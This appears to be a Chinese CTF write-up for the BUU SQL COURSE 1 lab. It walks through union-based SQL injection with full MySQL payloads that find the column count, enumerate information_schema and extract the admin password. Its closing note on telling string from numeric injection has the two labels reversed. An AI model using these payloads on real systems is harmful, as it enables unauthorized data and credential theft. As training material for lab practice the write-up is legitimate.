SQL注入常见利用方式(实战 BUU SQL COURSE 1)

一、SQL语句基础知识

创建数据库:

sql 复制代码
create database test1;

查看数据库:

sql 复制代码
show databases;

使用数据库:

sql 复制代码
use test1;

二、SQL注入实战

CTF题目:BUU SQL COURSE 1

打开靶机,通过按下F12,点击测试新闻1,找到了隐藏url,存在get请求传参。

于是,我们就可以在id=1后面进行注入。

1.利用联合查询 union select 探测注入点

(1)方法1

通过输入:

sql 复制代码
-1 union select 1; #

回显如下:

无回显,那就尝试注入不同的列数,看网页是否有不同的回显。
因为union select要求联合的前后请求列数必须相等,才会出结果。

sql 复制代码
id=-1 union select 1,2; #

有回显,说明列数为2。

(2)方法2

sql 复制代码
id=1 order by 2#

2.探测目标数据库名、表名、字段名、内容

由于information_schema这个库是mysql的四个基本系统库之一,它存储了mysql的库名、表名、字段名等信息。
table_schema:数据库_表名
tables:表名
schema_name :查询这个字段,回显某个数据库的库名
table_name:查询这个字段,回显某个表的表名

通过前面的联合查询语句id=-1 union select 1,2; #可知,控制联合查询1,2任意一个位置为回显位,即可带回数据。

(1)获取当前数据库的版本:

sql 复制代码
id=-1 union select 1,version();#

得到回显:

(2)获取当前连接数据库名称:

sql 复制代码
id=-1 union select 1,database();#

得到回显:

(3)获取当前连接用户:

sql 复制代码
id=-1 union select 1,user();#

得到回显:

(4)获取所有数据库列表:

sql 复制代码
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata;#

得到回显:

(5)
方法一:

获取news数据库所有表名**(其他库我都试了,没flag,读者从这一步骤往后,可以每个库试一下)**

如果,我们想看news库里有什么表,输入:

sql 复制代码
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema ='news';#

得到回显:

(6)查询news数据库admin 表的字段名:

sql 复制代码
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema ='news' and table_name ='admin';#

得到字段passwordid和username字段在这道题中,我不需要):

(7)查询new库admin表中的passsword字段值,拿到了登录密码:

sql 复制代码
id=-1 union select 1,password from news.admin;#

方法二:

从建立连接的数据库中,查询数据库名、表名:

sql 复制代码
id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

得到回显:

从建立连接的news数据库中,查询admin表的列名:

sql 复制代码
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#

得到回显:

从建立连接的admin表查询password的值:

sql 复制代码
id=-1 union select group_concat(username),group_concat(password) from admin

得到回显:

最后一步就不演示了。

三、补充知识

如何判断目标靶机是字符注入、还是数字注入?^1^

(1)拿到一个网页,先进行字符注入

sql 复制代码
id=1 order by 1#

得到回显,说明是字符注入:

(2) 后进行数字注入

sql 复制代码
 id=1' order by 1#

得到回显为空,不是数字注入:

四、参考文献


  1. BUU SQL COURSE 1 ↩︎
相关推荐
A_cainiao_A2 小时前
【软考】【2025年系统分析师拿证之路】【啃书】第五章 数据库系统(六)
数据库·oracle
Navicat中国2 小时前
Navicat Premium 原生支持阿里云 PolarDB 数据库
数据库·sql·mysql·阿里云·postgresql·云计算·navicat
H轨迹H3 小时前
渗透测试必刷靶场包含基础靶场以及渗透真实环境靶场
网络安全·渗透测试·dvwa·web漏洞
小度爱学习4 小时前
静态综合路由实验
服务器·网络·网络协议·计算机网络·网络安全·智能路由器
SamRol4 小时前
SpringBoot入门实现简单增删改查
spring boot·后端·oracle
betazhou4 小时前
【绝对无坑】Mongodb获取集合的字段以及数据类型信息
运维·数据库·mongodb·postgresql·oracle
Whacky-u5 小时前
Hive SQL必刷练习题:留存率问题
大数据·数据仓库·hive·hadoop·sql·面试
DX_水位流量监测5 小时前
河道流量在线自动监测系统:实时监控水流,保障河道管理安全
开发语言·网络·安全·网络安全·信息可视化·数据挖掘·数据分析
Zda天天爱打卡6 小时前
【原创】大数据治理入门(2)《提升数据质量:质量评估与改进策略》入门必看 高赞实用
大数据·数据库·python·sql·信息可视化
檐角小猫6 小时前
SQL正则表达式用法大全以及如何利用正则表达式处理复杂数据
数据库·sql·正则表达式